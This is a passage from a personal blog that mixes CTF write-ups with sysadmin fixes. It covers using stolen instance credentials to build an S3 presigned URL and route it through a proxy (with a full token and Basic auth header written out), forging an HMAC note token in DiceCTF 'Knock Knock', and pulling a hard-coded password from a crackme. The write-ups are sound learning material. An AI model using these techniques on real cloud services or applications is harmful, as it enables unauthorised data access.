We can now get the security-credentials for the role attached to the instance:

accessing s3 via presigned url

Configure it in the AWS CLI and try to get the flag at the prefix private/flag.txt. It fails:

It appears a Bucket Policy denies any request coming from a source other than the VPC endpoint to run GetObject on objects inside the private/ prefix.

We have credentials, but just need to get it through the proxy. There are 2 ways to express authentication to S3:

HTTP Authorization Header
Query string parameters (AKA Presigned URL)

Since in the curl request we are already sending an Authorization header to authenticate to the proxy, we cannot send another to AWS via the proxy. We can create a presigned URL via the temporary role credentials and pass it along to the proxy.

Create the presigned URL:

aws s3 presign s3://challenge01-470f711/private/flag.txt --expires-in 3600 --region us-east-1

Send it through the proxy service:

curl -s -H $'Host: challenge01.cloud-champions.com' -H $'Authorization: Basic Y3RmOjg4c1BWV3lDMlAzcA==' $'https://challenge01.cloud-champions.com/proxy?url=https%3a//challenge01-470f711.s3.us-east-1.amazonaws.com/private/flag.txt%3fX-Amz-Algorithm%3dAWS4-HMAC-SHA256%26X-Amz-Credential%3dASIARK7LBOHXOUAOHHGT%252F20250726%252Fus-east-1%252Fs3%252Faws4_request%26X-Amz-Date%3d20250726T131902Z%26X-Amz-Expires%3d3600%26X-Amz-SignedHeaders%3dhost%26X-Amz-Security-Token%3dIQoJb3JpZ2luX2VjEDUaCXVzLWVhc3QtMSJIMEYCIQDXcSfCyj9InuS2bfRvpwLih0LX3NN6Ol4t66oBYXXDBAIhAIjthVfQc2lR8Ewdz0ng32U0CB44Ouu9815U%252FP7XrC%252BXKrgFCF0QABoMMDkyMjk3ODUxMzc0IgyNtQ8rpsace4R67pMqlQXU2Vu4KHaLYNYo77C%252F2dyaCpA5JejPBCLAZTIDwAAm0AhFs0gftVEip%252FzVTtE3S4Fmcimh%252F46MTiTgaSNpb2ppTw0IWB%252BbsG505amvApXE4acnTSVgUd%252BPrMINqusejAMOujn25UiuFNRNEK%252BXhpOokON656ZJMXWSegRfvto3UVqR16spi6zKl3%252BwI7FD4wYtWFsnLuS%252BLVFAE6xBjFWr%252F8o1ta71XsMSHv6pSnGXODhCOYZPZMahpIWQde3jh0vqv65hGAoT%252FjK5cJHazZhVtWfikYb%252F2CEEh8WMY%252FBfpy2xmvn%252FjqkPF4sncwL85E0lSgMAlIP7i7MJbUvz57kpI9kUQNl2b9D49QJcA0YubQi%252BCPlw7z%252FcddN1kzqXWg%252FA9DqD8NHn5sgA1EvyWQ4y4nPt6mbJdy2odvO5jyR%252B%252F4s5WPBvfnN7mJCngPDcjvXgsSM9W%252FxRupqZzC0fuVnDVo6%252BKZ2Eof8DjCM%252FaV%252BlQHz%252FwMOYJLSC5eyrmIvNV2tRDeyWaIHcLTWFHUGwx%252F6d2V0Dgw7OtI6iFoU5otc0a0UVttjmfaaKJcHxuWnKSAXMiQL0gMxAZp8qYydtCIgyF2AYEQk1pajPgdxVu7pv0Pv4b1goyTxy8WjYaX8M0mhsKRe0tDsS%252Fm3lHhtIDWPpL7IdLtWptDDK63%252B85a9eNkQE7%252F7g0sPHB8E3RBFbAvPtzDoUrlhCr93eO8nKoxPwlKXCEEkEYTSHdnFoA0%252F3He8pfi2PJMxAWJ3ZPs7MqDpelhqvxwFrojhVIOy5FjY68i1X%252FS260f7lEZ7RzRThLRa2y6AOP0QakvcowKWoSrOlYwhJ1koULzZyIbz7gh6tD9HgQwbr3CMuwh2vWLnXg7gTQc%252BmMKiQk8QGOrABsrRH6d6JpyD1v91mVvT0hu%252BEvTMmebimPJLGbOIFmnJT4Ps1JEa0isymDzidPGyVlTBb1HxvgHhMd%252FEBdrji2pVPkD2oO1TBxOKYMpRveJ0XgSlaTIOnua7G%252BPhb9MoEQQNl5LM2BpEk1gHXBK2%252FeHpDDl1rMvJdQMYx47xTViCMnhJX4%252F4rH9uABR64LYh6KfJY638uimP2WGnpbGtxjvmYCMLPbgqCOqkm1UQDM2k%253D%26X-Amz-Signature%3d11471c6d9f2220d5d090a41f154e1bd9dcb96474b41cb7e0b522d2276a6d7620'

Bingo! Solved.

Fixing tmux Unicode and Italics Display Issues

Sun, 13 Apr 2025 14:08:00 +0530

When tmux fails to properly display italics text or unicode characters.

root cause

The issue occurs due to improper locale configuration in the shell environment.

solution

Add the following to ~/.bashrc:

export LC_ALL=en_IN.UTF-8
export LANG=en_IN.UTF-8

This sets the proper locale environment variables that tmux needs to correctly render italics and unicode characters.

Scripts Failing When Run via crontab -e

Fri, 28 Mar 2025 17:21:00 +0530

When scripts work perfectly when run manually but fail mysteriously when executed via cron.

root cause

This happens because of the minimal environment that cron has - it runs with very limited PATH, environment variables, and shell context compared to your interactive shell.

solution

Reference: https://stackoverflow.com/questions/20582224/shell-script-not-running-via-crontab-but-runs-fine-manually

The fix: Manually add it to /etc/crontab with the full path specification:

*/10 * * * * ghost /bin/bash /home/scripts/run.sh

This approach:

Uses absolute paths for both the shell (/bin/bash) and script (/home/scripts/run.sh)
Specifies the user (ghost) explicitly in the system crontab
Avoids user-specific cron environment issues

Additional troubleshooting:

Source necessary profile files if needed
Test scripts with env -i to simulate the minimal cron environment

Performance drop? Spike in CPU temp? Might be your fan!

Fri, 28 Mar 2025 16:00:00 +0530

Troubleshooting performance problems caused by improper heatsink mounting.

symptoms

Lag in games
General performance issues

root cause

If the heatsink fan is not fixed properly it causes overheating which causes lag in games and general performance issues.

solution

Reseating the fan properly fixed it:

twist the fan pegs to the left
pull the fan pegs
twist to the right
push it in one by one

ACLs and cp

Sun, 23 Mar 2025 17:17:00 +0530

Set Access Control Lists (ACLs) that apply to directories and all future files created within them.

commands

sudo setfacl -R -d -m g:ghost:rwx /home/ghost
sudo setfacl -R -m g:ghost:rwx /home/ghost

These commands apply to all new files and directories created recursively. The -d flag sets default ACLs for future files, while the second command applies to existing files.

shortcomings

cp does not respect ACLs - see: https://serverfault.com/questions/183800/why-does-cp-not-respect-acls

This means files copied with cp will lose their ACL settings and revert to standard permissions.

Fixing macOS DNS Resolution with Tailscale

Wed, 26 Feb 2025 13:19:00 +0530

Fixing DNS resolution issues when using Tailscale on macOS.

environment

work laptop
m4 pro
OSX 15.3.1

solution

Run tailscaled in a tmux session for better process management

Start tailscale with proper flags:

tailscale up --accept-dns --accept-routes

Configure macOS DNS resolver: Create /etc/resolver/kenobi.lan with nameserver 100.100.100.100
Result: Now browsers can find vault.kenobi.lan and other internal domains

.bashrc not sourced - tmux and login shells

Fri, 03 Jan 2025 12:25:00 +0530

problem

I noticed that my .bashrc was not getting sourced in tmux sessions.

root cause

Turns out that .bashrc is only sourced on non-login shells (see man bash). You can identify if a shell is a login shell with the following command:

echo $-
# if output is -bash then its a login shell, else non-login shell

The Issue: All my shells that tmux was spawning were login shells! Hence .bashrc was not sourced but rather /etc/profile, .profile were being sourced on each new terminal.

why this is problematic

See why that’s not recommended: https://www.gridbugs.org/daily/tmux-runs-a-login-shell-by-default/

TL;DR: It’s because things like variable expansion will get messed up. For example, $PATH is defined in .profile and usually it’s defined with itself being concatenated at the end:

export PATH=/bin:/sbin:${PATH}

So each time a new login shell is spawned, the PATH variable is concatenated making it longer and longer.

the fix

From https://www.gridbugs.org/daily/tmux-runs-a-login-shell-by-default/:

To have tmux run a non-login shell, add this to .tmux.conf:

set -g default-command "${SHELL}"

references

Resolving DNS Conflicts with systemd-resolved and Tailscale

Fri, 01 Nov 2024 10:31:00 +0530

Resolving DNS configuration conflicts between NetworkManager, systemd-resolved, and Tailscale.

problem

The DNS configuration was not applied correctly; the system continued using the DNS server provided by DHCP (192.168.1.1).

root cause

NM was taking DNS from DHCP and sending it to systemd-resolved which had the stub resolver symlinked to resolv.conf.

solution

step 1: configure systemd-resolved

Enabled systemd-resolved and symlinked /etc/resolv.conf to /run/systemd/resolve/resolv.conf. Also disabled the stub-resolver because it was conflicting with Tailscale.
Created /etc/systemd/resolved.conf.d directory and added 00-custom.conf since *.conf files under resolved.conf.d are automatically read by systemd-resolved.

File: /etc/systemd/resolved.conf.d/00-custom.conf

[Resolve]
DNS=1.1.1.1
DNSStubListener=no

step 2: configure networkmanager

NetworkManager was also taking DNS from DHCP and forwarding it to systemd-resolved, so the configuration needed to be modified. NM reads all drop-in *.conf files from /etc/NetworkManager/conf.d/.

File: /etc/NetworkManager/conf.d/dns.conf

[main]
dns=none
systemd-resolved=false

Top 10 Docker Hardening Best Practices

Thu, 23 Jun 2022 01:40:58 +0530

Knock Knock (DiceCTF 2022)

Sat, 05 Feb 2022 19:13:14 +0530

Navigating to the web app knock-knock.mc.ax we see a simple form with a textbox. Dockerfile and index.js, which is basically the server, is given. It’s a simple web app.

application logic

Sending a POST request to /create like so:

POST /create HTTP/2
Host: knock-knock.mc.ax
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
Origin: https://knock-knock.mc.ax
Referer: https://knock-knock.mc.ax/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

data=abcd

HTTP/2 302 Found
Content-Type: text/html; charset=utf-8
Date: Sat, 05 Feb 2022 10:14:59 GMT
Location: /note?id=785&token=7e5594a47aca2fa0692275a815f269745972b03fa64cd0917b548b421394f44a
Vary: Accept
X-Powered-By: Express
Content-Length: 218

<p>Found. Redirecting to <a href="/note?id=785&amp;token=7e5594a47aca2fa0692275a815f269745972b03fa64cd0917b548b421394f44a">/note?id=785&amp;token=7e5594a47aca2fa0692275a815f269745972b03fa64cd0917b548b421394f44a</a></p>

stores the value abcd in an array called notes and generates a HMAC token with which we can later retrieve this note. Keep in mind, each time a POST request like the above is sent to the web app, a new token is generated and we can retrieve only that note with it. An id is also assigned to the note upon creation which is basically a sequential identifier. This id is shown to us in the 302 redirect that comes after we send the POST request.

Retrieving a note is done by sending a GET request to /note with the id and token of the note as parameters.

GET /note?id=785&token=7e5594a47aca2fa0692275a815f269745972b03fa64cd0917b548b421394f44a HTTP/2
Host: knock-knock.mc.ax
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Origin: https://knock-knock.mc.ax
Referer: https://knock-knock.mc.ax/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers

HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Date: Sat, 05 Feb 2022 10:34:19 GMT
Etag: W/"4-gf6L/odXbD7LIkJvjleEc4KRes8"
X-Powered-By: Express
Content-Length: 4

abcd

source code analysis

Looking closely at the code, we see this

const db = new Database();
db.createNote({ data: process.env.FLAG });

This is what createNote() looks like

createNote({ data }) {
 const id = this.notes.length;
 this.notes.push(data);
 return {
 id,
 token: this.generateToken(id),
 };
}

This means that when the app is run, right after db is initalized, createNode() is run with the environment variable FLAG (the flag we need) as an argument. So, clearly the first element in the notes array (index 0) contains the flag that we need.

So now we know the index at which our flag is present. What remains is the HMAC token. Let’s take a look at the generateToken() function.

generateToken(id) {
 return crypto
 .createHmac('sha256', this.secret)
 .update(id.toString())
 .digest('hex');
}

Essentially, it creates a HMAC object with the key this.secret and later updates the content of the HMAC with the id and returns the hash. The initialization of this.secret looks interesting

class Database {
 constructor() {
 this.notes = [];
 this.secret = `secret-${crypto.randomUUID}`;
 }

The crypto.randomUUID() function is called without the parantheses which should not work. Let’s modify index.js to see what this.secret contains. We could do this in a node interpreter, but I just decided to use Docker.

 createNote({ data }) {
++ console.log('this.secret: ', this.secret)
 const id = this.notes.length;
 this.notes.push(data);
 return {
 id,
 token: this.generateToken(id),
 };
 }

Build the image and run a container

> docker build -t knock-knock .
> docker run knock-knock
this.secret: secret-function randomUUID(options) {
 if (options !== undefined)
 validateObject(options, 'options');
 const {
 disableEntropyCache = false,
 } = options || {};

 validateBoolean(disableEntropyCache, 'options.disableEntropyCache');

 return disableEntropyCache ? getUnbufferedUUID() : getBufferedUUID();
}

This is interesting. It looks like we just get the function definition of randomUUID() appended to the secret key and not an actual random UUID. This means the this.secret key is same for all the notes, including the flag at index 0!

exploitation

Since the flag is the first note to be created, we can get the token of the flag by making a small change in index.js and building and running the container.

 createNote({ data }) {
 const id = this.notes.length;
 this.notes.push(data);
++ console.log(this.generateToken(id));
 return {
 id,
 token: this.generateToken(id),
 };
 }

$ docker build -t knock-knock .
$ docker run knock-knock
7bd881fe5b4dcc6cdafc3e86b4a70e07cfd12b821e09a81b976d451282f6e264
listening on port 3000

Got the token: 7bd881fe5b4dcc6cdafc3e86b4a70e07cfd12b821e09a81b976d451282f6e264.
We can now get the flag with this token and id as 0.

> curl -k 'https://knock-knock.mc.ax/note?id=0&token=7bd881fe5b4dcc6cdafc3e86b4a70e07cfd12b821e09a81b976d451282f6e264'
dice{1_d00r_y0u_d00r_w3_a11_d00r_f0r_1_d00r}

Flag: dice{1_d00r_y0u_d00r_w3_a11_d00r_f0r_1_d00r}

BigSig - Heap Overflow Vulnerability in Mozilla NSS

Fri, 03 Dec 2021 01:40:58 +0530

EZ crackme

Sun, 31 Jan 2021 02:11:24 +0530

file inspection

I started off by running file to determine the file type. The output was as follows:

> file run.exe
run.exe: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, with debug_info, not stripped

It’s a 32-bit ELF binary. Running readelf on it gives us interesting information about the sections especially .symtab (the Symbol Table):

> readelf -a run.exe
Section Headers:
 [Nr] Name Type Addr Off Size ES Flg Lk Inf Al
 [ 0] NULL 00000000 000000 000000 00 0 0 0
 [ 1] .text PROGBITS 08049000 001000 000045 00 AX 0 0 16
 [ 2] .data PROGBITS 0804a000 002000 00001d 00 WA 0 0 4
 [ 3] .debug_aranges PROGBITS 00000000 00201d 000020 00 0 0 1
 [ 4] .debug_info PROGBITS 00000000 00203d 00003a 00 0 0 1
 [ 5] .debug_abbrev PROGBITS 00000000 002077 00001b 00 0 0 1
 [ 6] .debug_line PROGBITS 00000000 002092 00004a 00 0 0 1
 [ 7] .symtab SYMTAB 00000000 0020dc 000140 10 8 16 4
 [ 8] .strtab STRTAB 00000000 00221c 000076 00 0 0 1
 [ 9] .shstrtab STRTAB 00000000 002292 00005c 00 0 0 1


Symbol table '.symtab' contains 20 entries:
 Num: Value Size Type Bind Vis Ndx Name
 0: 00000000 0 NOTYPE LOCAL DEFAULT UND
 1: 08049000 0 SECTION LOCAL DEFAULT 1
 2: 0804a000 0 SECTION LOCAL DEFAULT 2
 3: 00000000 0 SECTION LOCAL DEFAULT 3
 4: 00000000 0 SECTION LOCAL DEFAULT 4
 5: 00000000 0 SECTION LOCAL DEFAULT 5
 6: 00000000 0 SECTION LOCAL DEFAULT 6
 7: 00000000 0 FILE LOCAL DEFAULT ABS code.asm
 8: 0804900e 0 NOTYPE LOCAL DEFAULT 1 _start.goodjob
 9: 08049026 0 NOTYPE LOCAL DEFAULT 1 _start.wrong
 10: 0804903c 0 NOTYPE LOCAL DEFAULT 1 _start.end
 11: 0804a000 1 OBJECT LOCAL DEFAULT 2 password
 12: 0804a008 1 OBJECT LOCAL DEFAULT 2 goodjobText
 13: 0000000e 0 NOTYPE LOCAL DEFAULT ABS goodjobLen
 14: 0804a016 1 OBJECT LOCAL DEFAULT 2 nope
 15: 00000007 0 NOTYPE LOCAL DEFAULT ABS nopeLen
 16: 08049000 0 NOTYPE GLOBAL DEFAULT 1 _start
 17: 0804a01d 0 NOTYPE GLOBAL DEFAULT 2 __bss_start
 18: 0804a01d 0 NOTYPE GLOBAL DEFAULT 2 _edata
 19: 0804a020 0 NOTYPE GLOBAL DEFAULT 2 _end

disassembly

Moving on to disassembling the program, I used objdump.

> objdump -M intel -d run.exe
run.exe: file format elf32-i386

Disassembly of section .text:

08049000 <_start>:
 8049000: 5b pop ebx
 8049001: 5b pop ebx
 8049002: 5b pop ebx
 8049003: a1 00 a0 04 08 mov eax,ds:0x804a000
 8049008: 3b 03 cmp eax,DWORD PTR [ebx]
 804900a: 74 02 je 804900e <_start.goodjob>
 804900c: eb 18 jmp 8049026 <_start.wrong>

0804900e <_start.goodjob>:
 804900e: b8 04 00 00 00 mov eax,0x4
 8049013: bb 01 00 00 00 mov ebx,0x1
 8049018: b9 08 a0 04 08 mov ecx,0x804a008
 804901d: ba 0e 00 00 00 mov edx,0xe
 8049022: cd 80 int 0x80
 8049024: eb 16 jmp 804903c <_start.end>

08049026 <_start.wrong>:
 8049026: b8 04 00 00 00 mov eax,0x4
 804902b: bb 01 00 00 00 mov ebx,0x1
 8049030: b9 16 a0 04 08 mov ecx,0x804a016
 8049035: ba 07 00 00 00 mov edx,0x7
 804903a: cd 80 int 0x80

0804903c <_start.end>:
 804903c: b8 01 00 00 00 mov eax,0x1
 8049041: 31 db xor ebx,ebx
 8049043: cd 80 int 0x80

It’s a simple program which starts off by comparing an initialized variable in the data segment (ds) with an argument. Based on the result of the cmp (compare) operation, it executes the write syscall to write a message to stdout (file descriptor 1). So now, the C program would look something like this:

if (arg == *0x804a000){
 write(1, *0x804a008, 0xe);
}
else {
 write(1, *0x804a016, 0x7);
}

The Linux Man page for the write syscall explains each argument. But it’s still pretty self explanatory.

write(int fd, const void *buf, size_t count);

exploitation

We now know where to look for our secret string. Firing up radare2:

> r2 run.exe
[0x08049000]> s 0x804a000
[0x0804a000]> px
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x0804a000 5034 3535 7730 7264 596f 7520 476f 7420 P455w0rdYou Got
0x0804a010 5468 6973 210a 5772 6f6e 6721 0aff ffff This!.Wrong!....
0x0804a020 ffff ffff ffff ffff ffff ffff ffff ffff ................
0x0804a030 ffff ffff ffff ffff ffff ffff ffff ffff ................
0x0804a040 ffff ffff ffff ffff ffff ffff ffff ffff ................
0x0804a050 ffff ffff ffff ffff ffff ffff ffff ffff ................
0x0804a060 ffff ffff ffff ffff ffff ffff ffff ffff ................
0x0804a070 ffff ffff ffff ffff ffff ffff ffff ffff ................
0x0804a080 ffff ffff ffff ffff ffff ffff ffff ffff ................
0x0804a090 ffff ffff ffff ffff ffff ffff ffff ffff ................
0x0804a0a0 ffff ffff ffff ffff ffff ffff ffff ffff ................
0x0804a0b0 ffff ffff ffff ffff ffff ffff ffff ffff ................
0x0804a0c0 ffff ffff ffff ffff ffff ffff ffff ffff ................
0x0804a0d0 ffff ffff ffff ffff ffff ffff ffff ffff ................
0x0804a0e0 ffff ffff ffff ffff ffff ffff ffff ffff ................
0x0804a0f0 ffff ffff ffff ffff ffff ffff ffff ffff ................

Looks like we found our key! P455w0rd. Running the binary with P455w0rd as an argument:

> ./run.exe P455w0rd
You Got This!

However, the compare instruction is done with a DWORD, i.e 4 bytes. So the key is P455.

> ./run.exe P455
You Got This!

zerodaywolf

Fixing NAT Hairpinning in k3s with Tailscale

problem

root cause

solution

how it works

why .override and not .server

why not the template plugin

verification

the tailnet client: cilium eating tailscale0

solution

the gotcha that cost me a round-trip

result

rollback

Cilium Node Taints After k3s Restart Caused by Clock Skew

problem

root cause

why it got stuck

solution

immediate fix

permanent fix

debugging trail

DNS-Based Egress Control in EKS Using Application Network Policies

what does it do?

prerequisites

Enable the Network Policy Controller

Enable Network Policies in the Node Class

applying the Network Policies

behind the scenes

why this matters

my Youtube channel!

Hacking the World with NPM Lifecycle Hooks

npm-install lifecycle

hooks

publishing a look-alike package for research

data exfiltration and persistence

prevention

Bootstrapping k3s with ArgoCD, Cilium, and MetalLB

Access Setup

k3s installation (1 server, 2 agents)

Cilium for Networking Fun

ArgoCD & GitOps Bliss

Ingress & Load Balancing Magic

Tailnet Integration

Wrapping It Up

Contain Me If You Can - The Ultimate Cloud Security Championship

Perimeter Leak - The Ultimate Cloud Security Championship

initial discovery

exploring actuator endpoints

exploiting ssrf against IMDSv2

accessing s3 via presigned url

Fixing tmux Unicode and Italics Display Issues

root cause

solution

Scripts Failing When Run via crontab -e

root cause

solution

Performance drop? Spike in CPU temp? Might be your fan!

symptoms

root cause

solution

ACLs and cp

commands

shortcomings

Fixing macOS DNS Resolution with Tailscale

environment

solution

.bashrc not sourced - tmux and login shells

problem

root cause

why this is problematic

the fix

references

Resolving DNS Conflicts with systemd-resolved and Tailscale

problem

root cause

solution

step 1: configure systemd-resolved

step 2: configure networkmanager

Top 10 Docker Hardening Best Practices

why `.override` and not `.server`

why not the `template` plugin